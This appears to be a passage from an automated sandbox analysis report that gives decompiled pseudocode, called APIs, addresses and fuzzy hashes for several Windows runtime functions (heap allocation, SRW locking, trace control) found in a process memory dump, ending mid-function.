RtlAllocateHeap.1105(?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A98679A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateControlErrorFreeLastReleaseTraceWin32memset
String ID:
API String ID: 375855687-0
Opcode ID: 130144ed784bb813f0e9a8ad903c52e8d40fab5c1f4658d274e917b24445e243
Instruction ID: 77a8db9594417f9370533f3f806e26f87f2c9fa610782c637e54160dc8d064cd
Opcode Fuzzy Hash: 130144ed784bb813f0e9a8ad903c52e8d40fab5c1f4658d274e917b24445e243
Instruction Fuzzy Hash: EE41C272A44228AFDB20DF68C944BDA77B9EF45710F2204A5E908AB241DF34DE80CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6A944D3B, Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6A944D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				void _v176;
				char _v177;
				long _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t42;
				void* _t44;
				long _t46;
				intOrPtr _t50;
				long _t56;
				void* _t57;
				int _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x6aa0d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				memset( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x6aa07bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E6A95B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
						}
						_v177 = 1;
						_t44 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = RtlNtStatusToDosError(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E6A95B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E6A95F380(_t67 + 0xc, 0x6a8f5138, 0x10) == 0) {
								 *0x6aa060d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E6A944F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				_t56 = E6A944E70(0x6aa086b0, 0x6a945690, 0, 0);
				if(_t56 != 0) {
					_t46 = RtlNtStatusToDosError(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x6a944d3b
0x6a944d4d
0x6a944d53
0x6a944d58
0x6a944d65
0x6a944d6c
0x6a944d71
0x6a944d77
0x6a944d7f
0x6a944d8c
0x6a944d8e
0x6a944dad
0x6a944db0
0x6a944db7
0x6a944db8
0x6a944db9
0x6a944dba
0x6a944dbb
0x6a944dc1
0x6a944dc8
0x6a944dcc
0x6a944dd5
0x6a944dde
0x6a944ddf
0x6a944de0
0x6a944de1
0x6a944de6
0x6a944de7
0x6a944de9
0x6a944df3
0x00000000
0x00000000
0x6a986c7c
0x6a986c8a
0x6a986c8a
0x6a986c9d
0x6a986ca7
0x6a986cac
0x6a986cb2
0x6a986cb9
0x00000000
0x6a986cbf
0x6a986cbf
0x00000000
0x6a986cbf
0x6a986cb9
0x6a944dfb
0x6a986ccf
0x6a986cd3
0x6a944e32
0x6a944e39
0x6a986ce0
0x6a986cf2
0x6a986cf2
0x6a986ce0
0x6a944e3f
0x6a944e41
0x6a944e51
0x6a944e51
0x6a944e03
0x6a944e03
0x6a944e09
0x6a944e0f
0x6a944e57
0x00000000
0x00000000
0x6a944e1b
0x6a944e30
0x6a944e5b
0x6a944e5b
0x00000000
0x6a944e30
0x6a944e11
0x6a944e11
0x6a944e16
0x00000000
0x6a944e16
0x6a944e01
0x00000000
0x6a944e01
0x6a944d9e
0x6a944da5
0x6a986c6b
0x00000000
0x6a944dab
0x6a944dab
0x00000000
0x6a944dab

APIs

memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6A944D77
RtlRunOnceExecuteOnce.1105(6AA086B0,6A945690,00000000,00000000,00000000,00000000,00000024), ref: 6A944D9E
ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944DE9
memcmp.1105(00000000,6A8F5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944E26
RtlNtStatusToDosError.1105(00000000,6AA086B0,6A945690,00000000,00000000,00000000,00000000,00000024), ref: 6A986C6B

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ControlErrorExecuteStatusTracememcmpmemset
String ID:
API String ID: 1949686928-0
Opcode ID: fee298da3be0cf7b9baa9ba67bc54fcfce5326cb0d670642ffbc0122754615de
Instruction ID: c8cbd7d948c0c7bf3fceaa73ad42fe0630252f33e88c71c1d9fa5ecbbe9ce4c9
Opcode Fuzzy Hash: fee298da3be0cf7b9baa9ba67bc54fcfce5326cb0d670642ffbc0122754615de
Instruction Fuzzy Hash: D441D171A40318AFEB21CF14CC80B5BB7B9EB95318F2144AAE9459B281DF70ED40CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6A93C182, Relevance: 13.6, APIs: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6A93C182(void* __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				char* _t43;
				void* _t48;
				signed char _t62;
				void* _t63;
				void* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E6A937D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E6A9E8D34(_v8, _t80);
					}
					E6A932280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E6A92FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t83 = _t80 + 0xd0;
						E6A9E8833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E6A92FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E6A95B180();
						if(_a4 != 0) {
							E6A932280(_t48, _t81);
						}
					} else {
						E6A93BB2D(_v8 + 0xc, _t80 + 0x98);
						E6A93BB2D(_v8 + 8, _t80 + 0xb0);
						E6A93B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E6A92FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							E6A92FFB0(0, _t80, _t80 + 0x90);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					E6A92FFB0(0, __ecx, __ecx + 0x90);
				}
				return 0;
			}

0x6a93c18d
0x6a93c18f
0x6a93c191
0x6a93c19b
0x6a93c1a0
0x6a93c1d4
0x6a93c1de
0x6a982d6e
0x6a93c1e4
0x6a93c1e4
0x6a93c1e4
0x6a93c1ec
0x6a982d7d
0x6a982d7d
0x6a93c1f3
0x6a93c1ff
0x6a982d88
0x6a982d8d
0x6a982d94
0x6a982d9f
0x6a982da4
0x6a982dab
0x6a982db0
0x6a982db2
0x6a982db3
0x6a982db4
0x6a982dbc
0x6a982dc3
0x6a982dc3
0x6a93c205
0x6a93c211
0x6a93c222
0x6a93c22c
0x6a93c234
0x6a93c23a
0x6a93c23f
0x6a93c245
0x6a93c24b
0x6a93c251
0x6a93c25a
0x6a93c27d
0x6a93c27d
0x6a93c25c
0x6a93c25c
0x00000000
0x6a93c25e
0x6a93c1a4
0x6a93c1aa
0x6a93c1b3
0x6a93c26c
0x6a93c26c
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C1D7
RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C1F3
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C23A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C26C
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C27D

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireCurrentServiceSession
String ID:
API String ID: 4254861812-0
Opcode ID: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction ID: 31a600c909e9b4330754fdaa9cfec07377163e082761cf247cba28f78aebf852
Opcode Fuzzy Hash: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction Fuzzy Hash: 60314871601A66BED704DBF4C484BD9FBB8BF56308F25815AD42847202DF34F919D790

Uniqueness

Uniqueness Score: -1.00%

Function 6A94DE9E, Relevance: 13.6, APIs: 9, Instructions: 79
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A94DE9E(void* __ecx) {
				char _v0;
				char _v12;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v65;
				void* _v66;
				void* __ebx;
				void* __edi;
				void* _t81;
				signed int _t82;
				intOrPtr* _t92;
				signed int _t96;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				intOrPtr _t109;
				intOrPtr* _t110;
				signed int _t116;
				char _t121;
				void* _t128;
				signed int* _t130;
				signed int* _t135;
				signed int _t138;
				signed int _t140;
				void* _t145;
				unsigned int _t147;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				signed int _t156;
				intOrPtr* _t157;
				signed int _t161;
				signed int* _t162;
				char _t163;
				signed int _t164;
				signed int _t169;
				signed int _t171;
				intOrPtr* _t173;
				signed int _t176;
				signed int _t177;
				intOrPtr* _t178;
				void* _t181;
				void* _t183;
				signed int _t186;
				signed int _t188;
				signed int _t191;
				signed int _t193;
				signed int _t194;
				void* _t196;

				_t194 = _t193 & 0xfffffff8;
				_push(__ecx);
				_push(_t173);
				_t181 = __ecx;
				_t81 = E6A932280( *0x6aa084cc + 4,  *0x6aa084cc + 4);
				_t128 = _t181 + 0x28;
				_t82 = E6A932280(_t81, _t128);
				asm("lock xadd [esi+0x50], eax");
				if((_t82 | 0xffffffff) != 1) {
					E6A92FFB0(_t128, _t173, _t128);
					L8:
					return E6A92FFB0(_t128, _t173,  *0x6aa084cc + 4);
				} else {
					if(E6A937D50() != 0) {
						_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
					} else {
						_t92 = 0x7ffe038e;
					}
					_t173 = _t181 + 0x10;
					if( *_t92 != 0) {
						E6A9A2EA3(_t181,  *_t173,  *((intOrPtr*)(_t173 + 4)));
					}
					_push(_t173);
					E6A95B150();
					_t96 = _t181 + 0x1c;
					_t162 =  *_t96;
					if(_t162[1] != _t96) {
						L10:
						_t145 = 3;
						asm("int 0x29");
						_t191 = _t194;
						_push(_t145);
						_push(_t145);
						_push(_t128);
						_push(_t181);
						_push(_t173);
						_t130 = _t162;
						_t183 = _t145;
						asm("lock xadd [esi+0x2c], eax");
						if((_t96 | 0xffffffff) == 1) {
							_t146 =  *((intOrPtr*)(_t183 + 0x28));
							if( *((intOrPtr*)(_t183 + 0x28)) != 0) {
								E6A91A745(_t130, _t146, _t162, _t173);
							}
							_t100 = _t183 + 4;
							_t163 =  *_t100;
							if( *((intOrPtr*)(_t163 + 4)) != _t100) {
								L20:
								_t147 = 3;
								asm("int 0x29");
								_push(_t191);
								_t196 = (_t194 & 0xfffffff8) - 0x1c;
								_v56 = _v56 & 0x00000000;
								_push(_t130);
								 *((char*)(_t196 + 0xb)) = _t163;
								 *(_t196 + 0x18) = _t147;
								_push(_t183);
								_push(_t173);
								_t135 =  *((intOrPtr*)( *[fs:0x18] + 0x30)) + ((_t147 >> 0x00000005 & 0x0000007f) + 0x97) * 4;
								_t103 = 0;
								_t164 =  *_t135;
								_v48 = _t135;
								 *(_t196 + 0x12) = 0;
								if(_t164 != 0) {
									while((_t164 & 0x00000001) == 0) {
										_t103 = _t164;
										if((_t164 & 0x00000002) != 0) {
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												goto L54;
											}
										} else {
											_t186 = _t164 | 0x00000002;
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												L54:
												_t164 = _t103;
												if(_t103 != 0) {
													continue;
												} else {
												}
											} else {
												while(1) {
													L25:
													_t138 = _t186 & 0xfffffffc;
													 *(_t196 + 0x24) = _t138;
													_t176 = _t138;
													if( *((intOrPtr*)(_t138 + 0x10)) == 0) {
														goto L56;
													}
													L26:
													_t177 =  *((intOrPtr*)(_t176 + 0x10));
													 *((intOrPtr*)(_t138 + 0x10)) = _t177;
													while(_t177 != 0) {
														_t169 =  *((intOrPtr*)(_t177 + 0xc));
														_v52 = _t169;
														if( *_t177 !=  *((intOrPtr*)(_t196 + 0x20))) {
															L60:
															_t177 = _t169;
															continue;
														} else {
															_t152 =  *(_t177 + 8);
															if(_t177 != _t138) {
																 *(_t169 + 8) = _t152;
																_t153 =  *(_t177 + 8);
																_t109 =  *((intOrPtr*)(_t177 + 0xc));
																if(_t153 != 0) {
																	 *((intOrPtr*)(_t153 + 0xc)) = _t109;
																} else {
																	 *((intOrPtr*)(_t138 + 0x10)) = _t109;
																	 *((intOrPtr*)( *((intOrPtr*)(_t177 + 0xc)) + 0x10)) =  *((intOrPtr*)(_t177 + 0xc));
																}
																goto L34;
															} else {
																if(_t152 != 0) {
																	_t152 = _t152 ^ (_t152 ^ _t186) & 0x00000003;
																}
																_t116 = _t186;
																asm("lock cmpxchg [ebx], edx");
																_t138 =  *(_t196 + 0x24);
																if(_t116 != _t186) {
																	_t186 = _t116;
																	goto L25;
																} else {
																	_t171 =  *(_t177 + 8);
																	_t156 = _t152 & 0xffffff00 | _t152 == 0x00000000;
																	 *(_t196 + 0x12) = _t156;
																	if(_t171 != 0) {
																		 *(_t171 + 0xc) =  *(_t171 + 0xc) & 0x00000000;
																		 *((intOrPtr*)(_t171 + 0x10)) =  *((intOrPtr*)(_t177 + 0x10));
																		 *(_t196 + 0x12) = _t156;
																	}
																	_t169 = _v52;
																	L34:
																	_t154 = 2;
																	_t49 = _t177 + 0x14; // 0x14
																	_t110 = _t49;
																	_t155 =  *_t110;
																	 *_t110 = _t154;
																	if(_t155 == 2) {
																		goto L60;
																	} else {
																		if(_t155 == 0) {
																			 *(_t177 + 8) = _v56;
																			_v56 = _t177;
																		}
																		if( *((char*)(_t196 + 0x13)) != 0) {
																			goto L60;
																		}
																	}
																}
															}
														}
														break;
													}
													_t103 = _v56;
													if(_t103 != 0) {
														do {
															_push( *((intOrPtr*)(_t103 + 4)));
															_t188 =  *(_t103 + 8);
															E6A959BF0();
															_t103 = _t188;
														} while (_t188 != 0);
													}
													if( *(_t196 + 0x12) == 0) {
														_t151 =  *_v48;
														while(1) {
															_t140 = _t151 & 0x00000001;
															asm("sbb edx, edx");
															_t103 = _t151;
															asm("lock cmpxchg [esi], edx");
															if(_t103 == _t151) {
																break;
															}
															_t151 = _t103;
														}
														if(_t140 != 0) {
															_t103 = E6A9CCF30(_t103);
														}
													}
													goto L41;
													do {
														L56:
														_t104 = _t176;
														_t176 =  *(_t176 + 8);
														 *(_t176 + 0xc) = _t104;
													} while ( *((intOrPtr*)(_t176 + 0x10)) == 0);
													goto L26;
												}
											}
										}
										goto L41;
									}
								}
								L41:
								return _t103;
							} else {
								_t157 =  *((intOrPtr*)(_t100 + 4));
								if( *_t157 != _t100) {
									goto L20;
								} else {
									 *_t157 = _t163;
									 *((intOrPtr*)(_t163 + 4)) = _t157;
									_t178 =  *((intOrPtr*)(_t183 + 0x30));
									 *_t130 =  *(_t183 + 0x38);
									 *_v0 =  *((intOrPtr*)(_t183 + 0x3c));
									_t121 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t183);
									if(_t178 != 0) {
										 *_t178 = 1;
										_t121 =  &_v12;
										asm("lock or [eax], ecx");
										_push(0);
										L21();
									}
									goto L13;
								}
							}
						} else {
							_t121 = _v0;
							 *_t130 =  *_t130 & 0x00000000;
							 *_t121 =  *_t121 & 0x00000000;
							L13:
							return _t121;
						}
					} else {
						_t161 =  *(_t96 + 4);
						if( *_t161 != _t96) {
							goto L10;
						} else {
							 *_t161 = _t162;
							_t162[1] = _t161;
							E6A92FFB0(_t128, _t173, _t128);
							if( *(_t181 + 0x58) != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t181 + 0x58));
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t181);
							goto L8;
						}
					}
				}
			}

0x6a94dea3
0x6a94dea6
0x6a94deae
0x6a94deb2
0x6a94deb5
0x6a94deba
0x6a94debe
0x6a94dec6
0x6a94decc
0x6a94df40
0x6a94df2a
0x6a94df3e
0x6a94dece
0x6a94ded5
0x6a98b445
0x6a94dedb
0x6a94dedb
0x6a94dedb
0x6a94dee2
0x6a94dee7
0x6a98b456
0x6a98b456
0x6a94deed
0x6a94deee
0x6a94def3
0x6a94def6
0x6a94defb
0x6a94df47
0x6a94df49
0x6a94df4a
0x6a94df4f
0x6a94df51
0x6a94df52
0x6a94df53
0x6a94df54
0x6a94df55
0x6a94df56
0x6a94df58
0x6a94df5d
0x6a94df63
0x6a94df77
0x6a94df7c
0x6a94dfd3
0x6a94dfd3
0x6a94df7e
0x6a94df81
0x6a94df86
0x6a94dfda
0x6a94dfdc
0x6a94dfdd
0x6a94dfe1
0x6a94dfe7
0x6a94dff0
0x6a94dff5
0x6a94dff8
0x6a94e005
0x6a94e00f
0x6a94e010
0x6a94e011
0x6a94e014
0x6a94e016
0x6a94e018
0x6a94e01c
0x6a94e022
0x6a94e028
0x6a94e031
0x6a94e036
0x6a98b47d
0x6a98b483
0x00000000
0x00000000
0x6a94e03c
0x6a94e03e
0x6a94e043
0x6a94e049
0x6a98b489
0x6a98b489
0x6a98b48d
0x00000000
0x00000000
0x6a98b493
0x00000000
0x6a94e04f
0x6a94e04f
0x6a94e051
0x6a94e054
0x6a94e058
0x6a94e05e
0x00000000
0x00000000
0x6a94e064
0x6a94e064
0x6a94e067
0x6a94e06a
0x6a94e076
0x6a94e079
0x6a94e07f
0x6a98b4cc
0x6a98b4cc
0x00000000
0x6a94e085
0x6a94e085
0x6a94e08a
0x6a94e11c
0x6a94e11f
0x6a94e122
0x6a94e127
0x6a94e164
0x6a94e129
0x6a94e129
0x6a94e12f
0x6a94e12f
0x00000000
0x6a94e090
0x6a94e092
0x6a98b4b2
0x6a98b4b2
0x6a94e09e
0x6a94e0a0
0x6a94e0a4
0x6a94e0aa
0x6a98b4d3
0x00000000
0x6a94e0b0
0x6a94e0b0
0x6a94e0b5
0x6a94e0b8
0x6a94e0be
0x6a98b4b9
0x6a98b4c0
0x6a98b4c3
0x6a98b4c3
0x6a94e0c4
0x6a94e0c8
0x6a94e0ca
0x6a94e0cb
0x6a94e0cb
0x6a94e0ce
0x6a94e0ce
0x6a94e0d3
0x00000000
0x6a94e0d9
0x6a94e0db
0x6a94e0e1
0x6a94e0e4
0x6a94e0e4
0x6a94e0ed
0x00000000
0x00000000
0x6a94e0ed
0x6a94e0d3
0x6a94e0aa
0x6a94e08a
0x00000000
0x6a94e07f
0x6a94e0f3
0x6a94e0f9
0x6a94e0fb
0x6a94e0fb
0x6a94e0fe
0x6a94e101
0x6a94e106
0x6a94e108
0x6a94e0fb
0x6a94e111
0x6a94e138
0x6a94e13a
0x6a94e13e
0x6a94e148
0x6a94e14e
0x6a94e150
0x6a94e156
0x00000000
0x00000000
0x6a94e16c
0x6a94e16c
0x6a94e15a
0x6a94e15d
0x6a94e15d
0x6a94e15a
0x00000000
0x6a98b498
0x6a98b498
0x6a98b498
0x6a98b49a
0x6a98b49d
0x6a98b4a0
0x00000000
0x6a98b4a6
0x6a94e04f
0x6a94e049
0x00000000
0x6a94e036
0x6a94e028
0x6a94e113
0x6a94e119
0x6a94df88
0x6a94df88
0x6a94df8d
0x00000000
0x6a94df8f
0x6a94df8f
0x6a94df91
0x6a94df97
0x6a94df9a
0x6a94dfa5
0x6a94dfb0
0x6a94dfb7
0x6a94dfb9
0x6a94dfbf
0x6a94dfc4
0x6a94dfc7
0x6a94dfcc
0x6a94dfcc
0x00000000
0x6a94dfb7
0x6a94df8d
0x6a94df65
0x6a94df65
0x6a94df68
0x6a94df6b
0x6a94df6e
0x6a94df74
0x6a94df74
0x6a94defd
0x6a94defd
0x6a94df02
0x00000000
0x6a94df04
0x6a94df04
0x6a94df07
0x6a94df0a
0x6a94df13
0x6a98b46e
0x6a98b46e
0x6a94df25
0x00000000
0x6a94df25
0x6a94df02
0x6a94defb

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000,?,?), ref: 6A94DEB5
RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000,?), ref: 6A94DEBE

Part of subcall function 6A932280: RtlDllShutdownInProgress.1105(00000000), ref: 6A9322BA
Part of subcall function 6A932280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A9323A3

RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000,?), ref: 6A94DECE
ZwUnsubscribeWnfStateChange.1105(?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000), ref: 6A94DEEE
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001), ref: 6A94DF0A
RtlFreeHeap.1105(?,00000000,?,?,?,?,?,00000000,?,00000000,?,?,6A913A82,?), ref: 6A94DF25
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001), ref: 6A94DF33
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000), ref: 6A94DF40
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00000000,?,00000000,?,?,6A913A82,?), ref: 6A98B46E

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap$AlertChangeCurrentProgressServiceSessionShutdownStateThreadUnsubscribeWait
String ID:
API String ID: 3923771875-0
Opcode ID: 468f317ba2e9378215ff3d07b0df0c5cca74a58047efb9f8b5325f92b6659aef
Instruction ID: 7ac5f0e02577526127d4e226020b1e82e2251dfa376b68fe54b6f47ec45d646e
Opcode Fuzzy Hash: 468f317ba2e9378215ff3d07b0df0c5cca74a58047efb9f8b5325f92b6659aef
Instruction Fuzzy Hash: 2D21CC71210650AFD3208B28C848F16B7BCFF1672CF2649AAE0158B7A2DF31E801CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C23E3, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E6A9C23E3(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed short _t52;
				intOrPtr _t54;
				signed short _t64;
				signed short _t66;
				intOrPtr _t69;
				signed short _t73;
				signed short _t76;
				signed short _t77;
				signed short _t79;
				void* _t83;
				signed int _t84;
				signed int _t85;
				signed char _t94;
				unsigned int _t99;
				unsigned int _t104;
				signed int _t108;
				void* _t110;
				void* _t111;
				unsigned int _t114;

				_t84 = __ecx;
				_push(__ecx);
				_t114 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t73 =  *__edx;
							if(( *(__ecx + 0x4c) & _t73) != 0) {
								_t73 = _t73 ^  *(__ecx + 0x50);
							}
							_t44 = _t73 & 0x0000ffff;
						}
					} else {
						_t104 = __edx >> 0x00000003 ^  *__edx ^  *0x6aa0874c ^ __ecx;
						if(_t104 == 0) {
							_t76 =  *((intOrPtr*)(__edx - (_t104 >> 0xd)));
						} else {
							_t76 = 0;
						}
						_t44 =  *((intOrPtr*)(_t76 + 0x14));
					}
					_t94 =  *((intOrPtr*)(_t114 + 7));
					_t108 = _t44 & 0xffff;
					if(_t94 != 5) {
						if((_t94 & 0x00000040) == 0) {
							if((_t94 & 0x0000003f) == 0x3f) {
								if(_t94 >= 0) {
									if( *(_t84 + 0x4c) == 0) {
										_t48 =  *_t114 & 0x0000ffff;
									} else {
										_t66 =  *_t114;
										if(( *(_t84 + 0x4c) & _t66) != 0) {
											_t66 = _t66 ^  *(_t84 + 0x50);
										}
										_t48 = _t66 & 0x0000ffff;
									}
								} else {
									_t99 = _t114 >> 0x00000003 ^  *_t114 ^  *0x6aa0874c ^ _t84;
									if(_t99 == 0) {
										_t69 =  *((intOrPtr*)(_t114 - (_t99 >> 0xd)));
									} else {
										_t69 = 0;
									}
									_t48 =  *((intOrPtr*)(_t69 + 0x14));
								}
								_t85 =  *(_t114 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t85 = _t94 & 0x3f;
							}
						} else {
							_t85 =  *(_t114 + 4 + (_t94 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t85 =  *(_t84 + 0x54) & 0x0000ffff ^  *(_t114 + 4) & 0x0000ffff;
					}
					_t110 = (_t108 << 3) - _t85;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t77 =  *__edx & 0x0000ffff;
					} else {
						_t79 =  *__edx;
						if(( *(__ecx + 0x4c) & _t79) != 0) {
							_t79 = _t79 ^  *(__ecx + 0x50);
						}
						_t77 = _t79 & 0x0000ffff;
					}
